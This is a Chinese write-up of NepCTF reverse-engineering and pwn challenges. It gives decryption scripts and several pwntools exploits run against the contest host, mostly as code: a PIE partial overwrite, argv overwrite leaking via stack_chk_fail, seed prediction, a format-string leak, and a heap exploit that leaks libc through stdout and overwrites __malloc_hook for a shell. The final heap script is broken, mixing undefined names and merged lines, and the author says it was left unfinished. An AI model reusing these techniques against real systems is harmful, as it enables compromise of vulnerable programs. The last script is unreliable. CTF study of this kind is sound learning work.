写在前面:感谢不会修电脑师傅的指导
参照大佬:https://shimo.im/docs/TVDd3VvVXyKYGgcv/read
https://www.richar.top/2021/03/22/nepctf-wp/
做到一半平台下线了,只记录了几道简单的。
Re
hardcsharp
- 例行检查,c#写的
- 一开始用ida反编译的,看不大懂,百度后用的dnSpy反编译
// hardcsharp.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
AesClass aesClass = new AesClass();
string text = "";
string strB = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
byte[] array = new byte[]
{
81,
82,
87,
81,
82,
87,
68,
92,
94,
86,
93,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18,
18
};
Console.WriteLine("Welcome to nepnep csharp test! plz input the magical code:");
string text2 = Console.ReadLine();
if (text2.Length != 37)
{
Console.WriteLine("Nope!");
Console.ReadKey();
return;
}
if (text2.Substring(0, 4) != "Nep{" || text2[36] != '}')
{
Console.WriteLine("Nope!");
Console.ReadKey();
return;
}
for (int i = 0; i < 32; i++)
{
text += Convert.ToChar((int)(array[i] ^ 51)).ToString();
}
if (string.Compare(aesClass.AesEncrypt(text2, text), strB) == 0)
{
Console.WriteLine("wow, you pass it!");
Console.ReadKey();
return;
}
Console.WriteLine("Nope!");
Console.ReadKey();
}
逻辑很简单:text2由我们输入,text由已知数组array和51异或得到,text2用text作为key进行ECB模式的AES加密得到strB
逆向推算一下
个人比较喜欢收集各种算法的脚本,所以没用在线工具网站,用在线工具网站应该会快一些
aes加密/解密代码来源:https://blog.csdn.net/s740556472/article/details/79026128
import string
import random
from Crypto.Cipher import AES
#AES-demo
import base64
from Crypto.Cipher import AES
'''
采用AES对称加密算法
'''
# str不是16的倍数那就补足为16的倍数
def add_to_16(value):
while len(value) % 16 != 0:
value += '\0'
return str.encode(value) # 返回bytes
#加密方法
def encrypt_oracle():
# 初始化加密器
aes = AES.new(add_to_16(key), AES.MODE_ECB)
#先进行aes加密
encrypt_aes = aes.encrypt(add_to_16(text))
#用base64转成字符串形式
encrypted_text = str(base64.encodebytes(encrypt_aes), encoding='utf-8') # 执行加密并转码返回bytes
print(encrypted_text)
#解密方法
def decrypt_oralce(key,text):
# 秘钥
#key = '123456'
# 密文
#text = 'qR/TQk4INsWeXdMSbCDDdA=='
# 初始化加密器
aes = AES.new(add_to_16(key), AES.MODE_ECB)
#优先逆向解密base64成bytes
base64_decrypted = base64.decodebytes(text.encode(encoding='utf-8'))
#执行解密密并转码返回str
decrypted_text = str(aes.decrypt(base64_decrypted),encoding='utf-8').replace('\0','')
print(decrypted_text)
array = [81,82,87,81,82,87,68,92,94,86,93,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18]
text = ''
for i in range(len(array)):
text+=chr(array[i]^51)
print("text:"+text)
key=text #密钥
text='1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0' #加密/解密文本
decrypt_oralce(key,text)
26进制
- 例行检查,32位程序,c++写的,无壳
- 贴几个关键代码
程序逻辑是一开始让我们输入几个个数字,转换成逆序的26进制,根据符号表2163qwe)(*&^%489$!057@#><A
转换成对应的字符,然后跟7进行异或,最后得到Fb72>&6
,逆算得出这些数字。md5加密即可的搭配flag
from Crypto.Hash import MD5
c=list(b"Fb72>&6"[::-1])
for i in range(len(c)):
c[i]^=7
b=list(b"2163qwe)(*&^%489$!057@#><A")
r=0
for i in c:
r*=26
r+=b.index(i)
print(r)
print('Nep{'+MD5.new(str(r).encode()).hexdigest()+'}')
PWN
送你一朵小红花
- 例行检查,64位程序,保护全开
- 64位ida载入,检索字符串的时候发现了后门
main()
buf[2]中存储了程序函数指针,会调用执行输出各种奇怪的图画。 - 由于程序开启了pie,所以没法覆盖到准确的函数地址,但是最后12位(1个半字节)是不变的,read读入了0x100长度的数据,可以覆盖buf[2]处的指针为0x14E1,最前面的1是不固定的,范围是0~F,有1/16的几率修改成功
exp
from pwn import *
context.log_level="debug"
while 1:
p=remote("node2.hackingfor.fun",30728)
try:
payload='a'*0x10+'\xe1\x14'
p.send(payload)
p.recvuntil('}')
p.interactive()
except:
pass
easystack
- 例行检查,64位程序,开启了nx
- 64位ida载入,程序是静态编译的
之前做过这种静态编译的题目,静态编译的题目去除了符号信息,阅读起来的时候存在一些困难。当时是使用的ROPgadget --binary easystack --ropchain
来利用程序中的片段拼凑rop链,这题不可以。只能动调理一下逻辑
程序逻辑大概是这样:首先将flag读取到0x6CDE20处,然后随机生成一个v6,如果我们输入的数据等于v6,就会输出flag,还有就是如果破坏了v8的值会触发canary的报错函数
两种做法:
1.覆盖程序的启动参数的指针,将其指向flag的地址,利用stack_chk_fail得到flag。
动调找一下输入点距离_libc_argv[0]的偏移
0x7fffffffdb30-0x7fffffffdac8=104
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('easystack')
p=remote('node2.hackingfor.fun',38892)
p.sendline(p64(0x6CDE20)*104)
p.interactive()
2.爆破出程序的种子,并且通过python中的cdll.LoadLibrary来调用glibc库函数,提交后就可以得到flag
from pwn import *
from ctypes import *
def rnd(n):
elf.srand(n)
return elf.rand()
context.log_level = "debug"
r = remote('node2.hackingfor.fun',38892)
elf = cdll.LoadLibrary('./libc-2.23.so')
t = elf.time(0)
r.sendline(p64(rnd(t)))
r.interactive()
scmt
- 例行检查,64位程序,开启了nx保护
- 64位ida载入,重定义了一些函数,看起来舒服些
程序随机生成一个数,然后判断输入的数和生成的数是否相同,相同就给shell。
输入name后有格式化字符串漏洞,可以就直接将生成的数泄露出来。 - 动调找一下输入的name跟v6的偏移
在如图黄色部分下断点
gdb动调找到那个随机数
找到它距离我们输入的name的偏移为8
exp
from pwn import *
#r = process('./scmt')
r = remote('node2.hackingfor.fun', 35168)
r.sendlineafter('name:\n', '%8$p')
r.recvuntil('0x')
num = int(r.recvuntil('\n'), 16)
r.sendlineafter('number:\n', str(num))
r.interactive()
sooooeasy
- 例行检查,64位程序,保护全开
- 运行一下,看看大概的情况,经典的堆题的菜单,不过只有add和del,没有show
- 64位ida载入
add()
申请一个chunk,理一下结构
dele()
- 无show函数,也就是泄露不了堆内容,所以我们要考虑使用stdout来leak libc,关于
_IO_2_1_stdout_ leak
的方法看这位师傅的博客,这边引用一下。
IO_2_1_stdout leak适用的题目类型
1.无show函数,也就是leak不了堆内容(如果有show函数,那么就可以利用unsorted bin leak)
2.FULL RELRO,也就是got表无法修改(如果可以修改,那么就可以修改free为puts来leak)
3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin,从而在chunk上存在main_arena + 88的地址。
4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71,再free),实现fastbin attck
5.能够UAF,部分写入数据到unsored bin->FD覆盖(main_arena +88)的后两个字节(低地址),使其指向到stdout附近从而可以修改_flags等数据。这一步中有一些细节需要处理:
a.部分覆盖的具体值由调试可知,因为要检测fastbin size是否在对应范围内,所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于**__malloc_hook**的修改方法。
b.由于在libc中只有后12个位是固定的,所以我们需要爆破后两个字节中的前4个位,也就是我们有(1/16)的几率利用成功。
利用方法
1.设fp = IO_2_1_stdout
2.绕过一些会报错的检测
a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多libc的地址。如果是用b的绕过方法,那么还需要让_IO_read_end== _IO_write_base
利用思路:
将一个大小为0x70的区块先加入fastbin
通过double free伪造区块,改大的前一个区块的大小,刚好覆盖0x70的区块,并free,然后再将大出来的部分malloc出来,使得0x70的区块刚好在unsorted bin内。此时fd指针为libc内的地址。
覆盖低地址的16bit,修改fd指针为stdout的地址,使堆块到stdout
修改stdout的write_base_ptr的低字节,泄露libc地址
通过double free将区块开到malloc_hook附近,改为one_gadget即可getshell
该方案成功率为1/16。
这题没有提供libc版,所以可以通过double free的报错来推测libc,然后,我做到一般平台下线了,还没来得及尝试,这边就贴一下本地double free报错的信息,我本机也是unbuntu 16.04和目标环境一样
exp
from pwn import *
p=process('./sooooeasy')
libc=ELF('./libc-2.23.so')
def add(size,name='a',message='abc'):
p.sendlineafter('Your choice : ','1')
p.sendlineafter('size of the your name: ',str(size))
p.sendlineafter('Your name:',name)
p.sendlineafter('Your message:',message)
def dele(index):
p.sendlineafter('Your choice : ','2')
p.sendlineafter("mumber's index:",str(index))
def libcbase():
infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
data = re.search(".*libc.*\.so", infomap)
if data:
libcaddr = data.group().split("-")[0]
return int(libcaddr, 16)
else:
return 0
def choice(idx):
r.sendlineafter("Your choice : ", str(idx))
for i in range(2):
add(0x28)
for i in range(2):
delete(i)
stdout_addr = libc.sym['_IO_2_1_stdout_'] - 0x43
add(0xE8) # 2
add(0x68) # 3
add(0x18) # 4
delete(2)
delete(3)
add(0x400) # 5
delete(3)
add(0x88) # 6
delete(6)
add(0x78, 'a' * 0x58 + p64(0x71) + p16(stdout_addr & 0xFFFF)) # 7
add(0x68) # 8 # 9
choice(1)
r.sendlineafter("name: ", str(0x68))
r.sendafter("Your name:", 'a' * 0x33 + p64(0xfbad1800) + '\x00' * 0x18 + '\x58') stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
r.sendlineafter("Your message:", 'leak')
log.success("stdout_addr: " + hex(stdout_addr))
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
add(0x68) # 10
delete(10)
delete(8)
delete(10)
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23)) # 11
add(0x68) # 12
add(0x68) # 13
#one = [0x3f3e6, 0x3f43a, 0xd5c07]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
add(0x68, 'a' * 0x13 + p64(libc.address + one[2])) # 14
delete(1)
delete(1)
p.interactive()